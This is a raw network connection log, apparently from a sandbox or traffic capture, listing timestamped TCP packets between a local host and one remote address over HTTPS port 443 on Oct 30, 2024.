Oct 30, 2024 20:14:13.212481022 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.212558985 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.212639093 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.212891102 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.212891102 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.212914944 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.212928057 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.214833021 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.214873075 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.214942932 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.215066910 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.215082884 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.326759100 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.327193975 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.327287912 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.327611923 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.327629089 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.455744028 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.455821991 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.455992937 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.456115961 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.456115961 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.456140995 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.456150055 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.458723068 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.458758116 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.458858967 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.458997011 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.459014893 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.174120903 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.174645901 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.174664021 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.174825907 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.175071001 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.175096989 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.175102949 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.175110102 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.175555944 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.175564051 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.175570011 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.175844908 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.175864935 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.176201105 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.176207066 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.179491997 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.179718018 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.179739952 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.180020094 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.180026054 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.190608978 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.190815926 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.190829992 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.191113949 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.191123962 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.305380106 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.305443048 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.305495024 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.305624962 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.305639982 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.305651903 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.305658102 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.308074951 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.308115959 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.308180094 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.308295012 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.308310986 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.308439016 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.308499098 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.308543921 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.308631897 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.308639050 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.308650017 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.308655977 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.310100079 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.310475111 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.310497046 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.310563087 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.310672998 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.310686111 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.310703993 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.310755968 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.310781956 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.310781956 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.310795069 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.310805082 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.312371016 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.312377930 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.312438011 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.312531948 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.312541962 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.316421986 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.316474915 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.316519976 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.316616058 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.316628933 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.316638947 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.316643953 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.318525076 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.318545103 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.318618059 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.318732977 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.318747997 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.321038008 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.321084976 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.321129084 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.321230888 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.321238041 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.321248055 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.321252108 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.322874069 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.322884083 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:14.322959900 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.323071003 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:14.323076963 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.044308901 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.044984102 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.045010090 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.045454025 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.045459986 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.048775911 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.048841953 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.049089909 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.049098969 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.049197912 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.049216032 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.049554110 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.049559116 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.049623013 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.049628973 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.062936068 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.063369989 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.063386917 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.063767910 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.063777924 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.085484028 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.086877108 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.086900949 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.087305069 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.087331057 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.178056002 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.178129911 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.178205013 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.178390026 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.178411007 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.178421974 CET	49856	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.178427935 CET	443	49856	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.181111097 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.181173086 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.181258917 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.181386948 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.181430101 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.185158014 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.185188055 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.185229063 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.185240030 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.185280085 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.185321093 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.185466051 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.185470104 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.185480118 CET	49855	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.185484886 CET	443	49855	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.187386036 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.187472105 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.187508106 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.187556982 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.187679052 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.187690973 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.188076973 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.188138008 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.188199043 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.188199043 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.188225985 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.188250065 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.190026999 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.190063000 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.190128088 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.190238953 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.190253973 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.197068930 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.197123051 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.197169065 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.197285891 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.197293043 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.197300911 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.197304964 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.199121952 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.199140072 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.199209929 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.199305058 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.199321032 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.218255043 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.218524933 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.218583107 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.218588114 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.218642950 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.218677998 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.218697071 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.218719959 CET	49857	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.218733072 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.220427990 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.220439911 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.220503092 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.220612049 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.220621109 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.919668913 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.920228958 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.920248032 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.920665979 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.920670986 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.922935963 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.923271894 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.923336029 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.923671007 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.923683882 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.928328037 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.928420067 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.928570032 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.928594112 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.928942919 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.928947926 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.929135084 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.929141045 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.929501057 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.929505110 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.957961082 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.958621025 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.958632946 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:15.959038019 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:15.959043026 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.056492090 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.056557894 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.056608915 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.056766033 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.056780100 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.056788921 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.056794882 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.057729006 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.057782888 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.057827950 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.058027029 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.058044910 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.058057070 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.058063030 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.060163975 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.060228109 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.060302019 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.060506105 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.060544968 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.061434984 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.061532974 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.061628103 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.061719894 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.061745882 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.061883926 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.062057972 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.062114000 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.062160969 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.062166929 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.062176943 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.062180996 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.064449072 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.064475060 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.064546108 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.064672947 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.064698935 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.088848114 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.089019060 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.089087009 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.089122057 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.089122057 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.089135885 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.089145899 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.091476917 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.091511011 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.091574907 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.091670990 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.091696978 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.260752916 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.260780096 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.260834932 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.260862112 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.260895967 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.261116982 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.261132956 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.261142969 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.261147976 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.263858080 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.263900995 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.264170885 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.264337063 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.264345884 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.797924995 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.798017025 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.798618078 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.798619032 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.798638105 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.798650980 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.799078941 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.799084902 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.799117088 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.799127102 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.833960056 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.835095882 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.835104942 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.835438967 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.835443020 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.928016901 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.928051949 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.928106070 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.928203106 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.928412914 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.928412914 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.929636002 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.929666996 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.929681063 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.929909945 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.929979086 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.930052042 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.930052042 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.930088997 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.930114031 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.931443930 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.931483984 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.931551933 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.931687117 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.931704998 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.932153940 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.932193995 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.932250023 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.932352066 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.932358980 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.965310097 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.965528965 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.965563059 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:16.965692043 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.965692043 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.965692043 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.965692043 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.967699051 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.967714071 CET	443	49871	13.107.246.45	192.168.2.4
